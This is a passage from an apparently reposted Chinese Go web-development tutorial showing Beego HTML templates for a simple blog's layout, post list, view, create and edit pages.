<body><ul id="menu"><li><a href="/">Home</a></li><li><a href="/new">New Post</a></li>
</ul>{{.LayoutContent}}</body>
</html>

index.tpl(首页)

<h1>Blog posts</h1><ul>
{{range .blogs}}<li><a href="/view/{{.Id}}">{{.Title}}</a>from {{.Created}}<a href="/edit/{{.Id}}">Edit</a><a href="/delete/{{.Id}}">Delete</a></li>
{{end}}
</ul>

view.tpl(这里实际上就是页面的content部分)

<h1>{{.Post.Title}}</h1>
{{.Post.Created}}<br/>{{.Post.Content}}

new.tpl(添加博客)

<h1>New Blog Post</h1>
<form action="" method="post">
标题:<input type="text" name="title"><br>
内容:<textarea name="content" colspan="3" rowspan="10"></textarea>
<input type="submit">
</form>

edit.tpl(编辑博客)

<h1>Edit {{.Post.Title}}</h1><h1>New Blog Post</h1>
<form action="" method="post">
标题:<input type="text" name="title" value="{{.Post.Title}}"><br>
内容:<textarea name="content" colspan="3" rowspan="10">{{.Post.Content}}</textarea>
<input type="hidden" name="id" value="{{.Post.Id}}">
<input type="submit">
</form>

转载于:https://my.oschina.net/chinaliuhan/blog/3083091

Go语言web开发学习相关推荐

  1. web开发 学习_是否想学习Web开发但不知道从哪里开始?

    web开发 学习 by Rick West 由里克·韦斯特(Rick West) 是否想学习Web开发但不知道从哪里开始? (Want to learn web development but don ...

  2. c#arcgis engine开发_湖南web开发学习网站要多久

    湖南web开发学习网站要多久第13章命令模式(Command)1. 命令模式的关键命令模式的关键之处就是把请求封装成为对象,也就是命 令对象,并定义了统一的执行操作的接口,这个命令对象可以被存储.转发 ...

  3. 【Java Web开发学习】Spring4条件化的bean

    [Java Web开发学习]Spring4条件化的bean 转载:https://www.cnblogs.com/yangchongxing/p/9071960.html Spring4引入了@Con ...

  4. java springmvc https_【Java Web开发学习】Spring MVC 使用HTTP信息转换器

    [Java Web开发学习]Spring MVC 使用HTTP信息转换器 @ResponseBody和@RequestBody是启用消息转换的一种简洁和强大方式 消息转换(message conver ...

  5. 【Java Web开发学习】Spring MVC 拦截器HandlerInterceptor

    [Java Web开发学习]Spring MVC 拦截器HandlerInterceptor 转载:https://www.cnblogs.com/yangchongxing/p/9324119.ht ...

  6. Go语言WEB开发[html/template包]

    Go语言Web开发 Go语言提供了html/template包来支持模板渲染.Go提供的html/template包对HTML模板提供了丰富的模板语言,主要用于Web应用程序. 模板中的变量 模板中的 ...

  7. go语言web开发入门之多路复用器(multiplexer)

    1.简介 在go语言web开发中,请求到达服务器时,多路复用器(multiplexer)会对请求进行检查,并将请求重定向到正确的处理器进行处理. 处理器在接收到多路复用器转发的请求之后,会从请求中取出 ...

  8. go语言web开发系列之五:gin用zap+file-rotatelogs实现日志记录及按日期切分日志

    一,安装需要用到的库: 1,安装zap日志库: liuhongdi@ku:/data/liuhongdi/zaplog$ go get -u go.uber.org/zap 2,安装go-file-r ...

  9. html是面向对象的开发语言,Web开发常用的6大编程语言和优势

    Web前端是互联网时代软件产品研发中不可缺少的一种专业研发角色,所有用户终端产品与视觉和交互有关的部分,都是Web前端工程师的专业领域.Web开发常用的6大编程语言和优势你知道多少,北大青鸟的老师带您 ...

  10. Web开发学习困难问题 西安尚学堂

    你有学习者综合征吗? 好吧,这本不是什么值得说道的事儿,但我注意到最近出现了一种行为趋势,尤其是在技术和软件开发领域.我不知道它的确切名字,就暂且称之为「学习者综合征」吧.它描述的是一种行为特征:那些 ...

最新文章

  1. 防止接口数据出问题,前端假数据调试
  2. c语言银行每月额外存款100,C语言课程设计_银行存取款业务.doc
  3. 【Auto.js】使用命令删除图片后,更新图库缓存
  4. Java面试中常问的Spring方面问题
  5. 分布式是什么意思_机架式ups是什么意思?与分布式DPS有何不同之处?
  6. 数组中查找並返回数组_剑指 Offer 04. 二维数组中的查找
  7. vue 手写 移动端 左右滑动 防止上下滑动冲突 超过宽度一半切换
  8. 小学计算机病毒与危害的课,第一课《电脑病毒与危害》.ppt
  9. c++ 类和对象的内存管理
  10. LINUX用C建立多级目录(测试通过)
  11. windows”出现身份验证错误,要求的函数不正确“的解决方法
  12. 使用微信开发工具开发微信小程序(二)——协同工作、发布与事件绑定
  13. x^2+y^2=2ax
  14. Android之——流量管理程序示例
  15. 格物 致知 诚意 正心 修身 齐家 治国 平天下
  16. Android前置后置摄像头录制视频综合版
  17. Ubuntu_18.04安装网易云音乐
  18. 学习实践-Vicuna【小羊驼】(部署+运行)
  19. 创建visio的形状
  20. 静态网页轻松加载动态数据,让HTML开发更轻松

热门文章

  1. linux安装i3wm桌面环境,ArchLinux + i3wm 桌面 Windows10 双系统安装(重点记录)
  2. UAV021(六):系统架构优化、SBUS协议、遥控器控制电机转动
  3. 微信读书vscode插件_想用 VSCode 写书?这款插件必须备上!
  4. android ip冲突检测工具,android ping ip 来检测连接是否正常
  5. icem网格数和节点数_icem如何查看网格数量
  6. linux C语言基础学习总结
  7. 深入浅出 NXLog (二)
  8. 软考高项比中项在难度上高多少?
  9. uni-app开发环境配置
  10. win10多合一原版系统_【教程】制作Windows 10 多合一原版系统